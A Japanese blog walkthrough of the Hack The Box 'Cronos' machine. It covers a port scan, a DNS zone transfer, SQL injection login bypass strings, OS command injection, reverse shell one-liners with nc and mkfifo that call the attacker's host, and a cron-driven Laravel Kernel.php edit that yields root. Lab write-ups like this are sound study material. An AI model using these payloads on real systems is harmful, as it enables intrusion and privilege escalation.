セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Cronos Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn -p 1-10000 10.10.10.13
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 23:38 JST
Nmap scan report for 10.10.10.13
Host is up (0.25s latency).
Not shown: 9997 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.33 seconds

22(ssh)、53(dns)、80(http)が開いている。

hostsファイルに追記

  • IPアドレスを指定してアクセスするとapacheのデフォルトページが表示されるため、/etc/hostsにマシン名のcronos.htbを追記する。
  • http://cronos.htbを指定すると、webページが表示される。 f:id:Paichan:20201230000612p:plain

tcp/53の調査

tcp/53はゾーン情報をやりとりするポート。ゾーン転送要求してみたら返ってきた。★をつけたホストを全部/etc/hostsに追加する。

root@kali:~# dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.16.8-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13★
ns1.cronos.htb.         604800  IN      A       10.10.10.13★
www.cronos.htb.         604800  IN      A       10.10.10.13★
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 252 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Sat Dec 12 23:55:51 JST 2020
;; XFR size: 7 records (messages 1, bytes 203)

admin.cronos.htbの調査

ブラウザでアクセス

ログイン画面だった。 f:id:Paichan:20201230000716p:plain

SQLi

ログイン画面といったらSQLi。以下のパターンで試したところ、4つ目(★)でログイン成功。
UserName/Password
admin/' or 1=1
admin' or 1=1 --/a
admin' or 1=1 -- /a
admin' or 1=1#/a ★これで入れた。

OSコマンドインジェクション

ログイン後の画面は、tracerouteやpingを指定したIPへ実行する機能(tracerouteは機能していない)。コマンドの結合をし、OSコマンドインジェクションを試行する。 f:id:Paichan:20201230001228p:plain

ここにlocalhost; lsと入れたら、返ってきた。OSコマンドインジェクションの脆弱性あり。 f:id:Paichan:20201230001253p:plain

リバースシェル

which ncより、ncが入っていることが確認できたので、リバースシェル奪取を目指す。
-eオプションを指定した以下を実行したが失敗。ncのバージョンによってはこのオプションはないため、失敗することもあるようだ。
localhost; nc -e /bin/sh 10.10.14.33 1234
以下を実行して無事成功。
localhostl; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.33 1234 >/tmp/f

user.txt獲得

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.33] from cronos.htb [10.10.10.13] 55238
bash: cannot set terminal process group (1371): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cronos:/var/www/admin$
www-data@cronos:/var/www/admin$ cd /home
cd /home
www-data@cronos:/home$ ls
ls
noulis
www-data@cronos:/home$ cd noulis
cd noulis
www-data@cronos:/home/noulis$ ls
ls
user.txt
www-data@cronos:/home/noulis$ cat user.txt
cat user.txt
XXXXXXXXXXXXXXXXX

権限昇格

sudo実行権限の確認

端末と紐づいていないため、そもそも実行できない。pythonimport ptyすれば紐づけられそうだが、www-dataユーザのパスワードも発見できていないめ、やめておく。

www-data@cronos:/home/noulis$ sudo -l
sudo -l
sudo: no tty present and no askpass program specified

SUID

なにもなし。

www-data@cronos:/home/noulis$ find / -perm -4000 f 2>/dev/null
find / -perm -4000 f 2>/dev/null
www-data@cronos:/home/noulis$ 

cron

root権限で毎分実行されている★が気になる。
laravelphpで書かれたwebアプリケーションフレームワーク

www-data@cronos:/home/noulis$ crontab -l
crontab -l
no crontab for www-data
www-data@cronos:/home/noulis$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 ★
#

laravelのタスクスケジュール

laravel cronで調べると、laravelのタスクスケジュールはapp/Console/Kernel.phpで記述するという情報が見つかる。
参考:https://reffect.co.jp/laravel/laravel-task-schedule-cron

このファイルの所有者を確認した所、以下であったため、編集可能。このファイルを書き換えてroot.txtを奪取できそう。
※現在のシェルだとvimやnanoが使えないので、攻撃者環境で作成しwgetでもってくるか、sedで対応する必要がある。

www-data@cronos:/var/www/laravel/app/Console$ ls -l
ls -l
total 4
-rw-r--r-- 1 www-data www-data 819 Apr  9  2017 Kernel.php

php-reverse-shell.php

php-reverse-shell.phpを毎分実行するようKernel.phpを書き換える。 github.com

攻撃者環境で待ち受けて・・・

root@kali:~/cronos# python -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...

wgetで取りに行き、実行権限を付与する。

www-data@cronos:/tmp$ wget http://10.10.14.33:8888/php-reverse-shell.php
www-data@cronos:/tmp$ chmod +x php-reverse-shell.php

Kernel.phpの書き換え

攻撃者環境で、以下の部分(★)を追記。これで毎分実行されるはず。

root@kali:~/cronos# cat Kernel.php 
<?php
(snip)
    /**
     * Define the application's command schedule.
     *
     * @param  \Illuminate\Console\Scheduling\Schedule  $schedule
     * @return void
     */
    protected function schedule(Schedule $schedule)
    {
        // $schedule->command('inspire')
        //          ->hourly();
    $schedule->exec('php -f /tmp/php-reverse-shell.php')->everyMinute(); ★
    }
(snip)

Kernel.phpを持ってくる

上述の方法と同様に、攻撃者環境で用意したKernel.phpwgetで取りに行く。

www-data@cronos:/var/www/laravel/app/Console$ mv Kernel.php Kernerl.php_bak
mv Kernel.php Kernerl.php_bak
www-data@cronos:/var/www/laravel/app/Console$ wget http://10.10.14.33:8888/Kernel.php
<ravel/app/Console$ wget http://10.10.14.33:8888/Kernel.php                  
--2020-12-12 18:59:16--  http://10.10.14.33:8888/Kernel.php
Connecting to 10.10.14.33:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 893 [application/octet-stream]
Saving to: 'Kernel.php'

     0K                                                       100%  158M=0s

2020-12-12 18:59:17 (158 MB/s) - 'Kernel.php' saved [893/893]

www-data@cronos:/var/www/laravel/app/Console$ 

www-data@cronos:/var/www/laravel/app/Console$ ls
ls
Kernel.php
Kernerl.php_bak

root.txt獲得

あとはphp-reverse-shell.phpで指定したポートで待ち受けておけば、1分以内にcronが実行されて、root.txtが獲得できる。

root@kali:~/cronos# nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.33] from cronos.htb [10.10.10.13] 53592
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 19:04:01 up  1:36,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
# cd /root
# cat root.txt
XXXXXXXXXX

PS

/var/www/laravel/artisanphp-reverse-shell.phpに置き換えてもいけましたね。こっちの方が早い。